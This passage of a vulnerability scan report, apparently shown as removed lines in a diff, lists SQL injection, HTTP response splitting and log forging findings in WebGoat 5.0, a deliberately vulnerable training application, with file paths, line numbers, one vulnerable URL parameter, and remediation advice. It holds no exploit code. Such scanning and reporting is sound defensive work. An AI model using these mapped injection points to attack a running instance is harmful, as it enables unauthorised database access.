-        sourcefile=\"UpdateProfile.java\" line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
-        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
-        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeUpdate() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"UpdateProfile.java\" line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
-        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
-        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeUpdate() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"UpdateProfile.java\" line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
-        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
-        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeUpdate() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"UpdateProfile.java\" line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
-        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
-        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from earlier calls
-        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
-        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
-        dynamically constructing SQL queries. Instead, use parameterized prepared
-        statements to prevent the database from interpreting the contents of bind
-        variables as part of the query. Always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
-        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
-        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"UpdateProfile_i.java\" line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
-        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
-        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
-        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable sqlStatement. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewDatabase.java\" line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\"
-        scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.java\" line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\"
-        scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\" functionprototype=\"session.Employee
-        getEmployeeProfile(session.WebSession, java.lang.String, java.lang.String)\"
-        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.java\" line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\"
-        scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\" functionprototype=\"session.Employee
-        getEmployeeProfile_BACKUP(session.WebSession, java.lang.String, java.lang.String)\"
-        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WsSqlInjection.java\" line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.WsSqlInjection\" functionprototype=\"java.sql.ResultSet
-        getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
-        type=\"Improper Neutralization of Special Elements used in an SQL Command
-        ('SQL Injection')\" description=\"This database query contains a SQL injection
-        flaw. The function call constructs a dynamic SQL query using a variable derived
-        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
-        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
-        queries. Instead, use parameterized prepared statements to prevent the database
-        from interpreting the contents of bind variables as part of the query. Always
-        validate user-supplied input to ensure that it conforms to the expected format,
-        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
-        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
-        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/attack\" vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
-        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
-        pcirelated=\"true\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
-        Return, Line Feed&quot; and refers to the sequence of characters used to denote
-        the end of a line of text.  CRLF injection vulnerabilities occur when data
-        enters an application from an untrusted source and is not properly validated
-        before being used.  For example, if an attacker is able to inject a CRLF into
-        a log file, he could append falsified log entries, thereby misleading administrators
-        or cover traces of the attack.  If an attacker is able to inject CRLFs into
-        an HTTP response header, he can use this ability to carry out other attacks
-        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
-        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
-        for all user-supplied data, using centralized data validation routines when
-        possible.  Use output filters to sanitize all output derived from user-supplied
-        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
-        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
-        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
-        text=\"A function call contains an HTTP response splitting flaw.  Writing
-        unsanitized user-supplied input into an HTTP header allows an attacker to
-        manipulate the HTTP response rendered by the browser, leading to cache poisoning
-        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
-        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
-        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
-        HTTP response splitting flaw. Writing unsanitized user-supplied input into
-        an HTTP header allows an attacker to manipulate the HTTP response rendered
-        by the browser, to inject additional headers or an entire response body into
-        the response stream. Injecting headers can be used to trick various security
-        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
-        bodies can not only cause XSS attacks to succeed but may even poison the cache
-        of any intermediary proxies between the clients and the application server.
-        The first argument to sendRedirect() contains tainted data from the variable
-        request.getParameter(). The tainted data originated from an earlier call to
-        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
-        carriage return and line feed characters from user-supplied data before inclusion
-        in HTTP response headers. Whenever possible, use a security library such as
-        ESAPI that provides safe versions of addHeader(), etc. that will automatically
-        remove unexpected carriage returns and line feeds and can be configured to
-        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
-        code when absolutely necessary. Always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
-        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
-        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
-        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"config_jsp.java\" line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
-        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
-        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
-        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
-        header allows an attacker to manipulate the HTTP response rendered by the
-        browser, to inject additional headers or an entire response body into the
-        response stream. Injecting headers can be used to trick various security mechanisms
-        in browsers into allowing XSS style attacks. Injecting entire response bodies
-        can not only cause XSS attacks to succeed but may even poison the cache of
-        any intermediary proxies between the clients and the application server. The
-        second argument to setHeader() contains tainted data from the variable cookie.
-        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
-        encode, or remove carriage return and line feed characters from user-supplied
-        data before inclusion in HTTP response headers. Whenever possible, use a security
-        library such as ESAPI that provides safe versions of addHeader(), etc. that
-        will automatically remove unexpected carriage returns and line feeds and can
-        be configured to use HTML entity encoding for non-alphanumeric data. Only
-        write custom blacklisting code when absolutely necessary. Always validate
-        user-supplied input to ensure that it conforms to the expected format, using
-        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
-        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
-        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
-        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"HttpOnly.java\" line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.HttpOnly\" functionprototype=\"void setHttpOnly(session.WebSession)\"
-        functionrelativelocation=\"89\"/>\n<flaw severity=\"3\" categoryname=\"Improper
-        Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\"
-        count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpServletResponse.setHeader\"
-        description=\"This call to javax.servlet.http.HttpServletResponse.setHeader()
-        contains an HTTP response splitting flaw. Writing unsanitized user-supplied
-        input into an HTTP header allows an attacker to manipulate the HTTP response
-        rendered by the browser, to inject additional headers or an entire response
-        body into the response stream. Injecting headers can be used to trick various
-        security mechanisms in browsers into allowing XSS style attacks. Injecting
-        entire response bodies can not only cause XSS attacks to succeed but may even
-        poison the cache of any intermediary proxies between the clients and the application
-        server. The second argument to setHeader() contains tainted data from the
-        variable cookie. The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
-        encode, or remove carriage return and line feed characters from user-supplied
-        data before inclusion in HTTP response headers. Whenever possible, use a security
-        library such as ESAPI that provides safe versions of addHeader(), etc. that
-        will automatically remove unexpected carriage returns and line feeds and can
-        be configured to use HTML entity encoding for non-alphanumeric data. Only
-        write custom blacklisting code when absolutely necessary. Always validate
-        user-supplied input to ensure that it conforms to the expected format, using
-        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
-        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
-        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
-        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"HttpOnly.java\" line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.HttpOnly\" functionprototype=\"void removeHttpOnly(session.WebSession)\"
-        functionrelativelocation=\"89\"/>\n<flaw severity=\"3\" categoryname=\"Improper
-        Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\"
-        count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpServletResponse.sendRedirect\"
-        description=\"This call to javax.servlet.http.HttpServletResponse.sendRedirect()
-        contains an HTTP response splitting flaw. Writing unsanitized user-supplied
-        input into an HTTP header allows an attacker to manipulate the HTTP response
-        rendered by the browser, to inject additional headers or an entire response
-        body into the response stream. Injecting headers can be used to trick various
-        security mechanisms in browsers into allowing XSS style attacks. Injecting
-        entire response bodies can not only cause XSS attacks to succeed but may even
-        poison the cache of any intermediary proxies between the clients and the application
-        server. The first argument to sendRedirect() contains tainted data from the
-        variable request.getParameter(). The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode,
-        or remove carriage return and line feed characters from user-supplied data
-        before inclusion in HTTP response headers. Whenever possible, use a security
-        library such as ESAPI that provides safe versions of addHeader(), etc. that
-        will automatically remove unexpected carriage returns and line feeds and can
-        be configured to use HTML entity encoding for non-alphanumeric data. Only
-        write custom blacklisting code when absolutely necessary. Always validate
-        user-supplied input to ensure that it conforms to the expected format, using
-        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
-        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
-        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
-        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"redirect_jsp.java\" line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
-        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
-        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
-        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
-        header allows an attacker to manipulate the HTTP response rendered by the
-        browser, to inject additional headers or an entire response body into the
-        response stream. Injecting headers can be used to trick various security mechanisms
-        in browsers into allowing XSS style attacks. Injecting entire response bodies
-        can not only cause XSS attacks to succeed but may even poison the cache of
-        any intermediary proxies between the clients and the application server. The
-        first argument to addCookie() contains tainted data from the variable cookies.
-        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
-        encode, or remove carriage return and line feed characters from user-supplied
-        data before inclusion in HTTP response headers. Whenever possible, use a security
-        library such as ESAPI that provides safe versions of addHeader(), etc. that
-        will automatically remove unexpected carriage returns and line feeds and can
-        be configured to use HTML entity encoding for non-alphanumeric data. Only
-        write custom blacklisting code when absolutely necessary. Always validate
-        user-supplied input to ensure that it conforms to the expected format, using
-        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
-        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
-        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
-        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WebSession.java\" line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.WebSession\" functionprototype=\"void eatCookies()\"
-        functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe cweid=\"117\"
-        cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"true\">\n<description>\n<text
-        text=\"A function call could result in a log forging attack.  Writing unsanitized
-        user-supplied data into a log file allows an attacker to forge log entries
-        or inject malicious content into log files.  Corrupted log files can be used
-        to cover an attacker's tracks or as a delivery mechanism for an attack on
-        a log viewing or processing utility.  For example, if a web administrator
-        uses a browser-based utility to review logs, a cross-site scripting attack
-        might be possible.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
-        categoryname=\"Improper Output Neutralization for Logs\" count=\"1\" issueid=\"214\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
-        description=\"This call to javax.servlet.GenericServlet.log() could result
-        in a log forging attack. Writing unsanitized user-supplied data into a log
-        file allows an attacker to forge log entries or inject malicious content into
-        log files. Corrupted log files can be used to cover an attacker's tracks or
-        as a delivery mechanism for an attack on a log viewing or processing utility.
-        For example, if a web administrator uses a browser-based utility to review
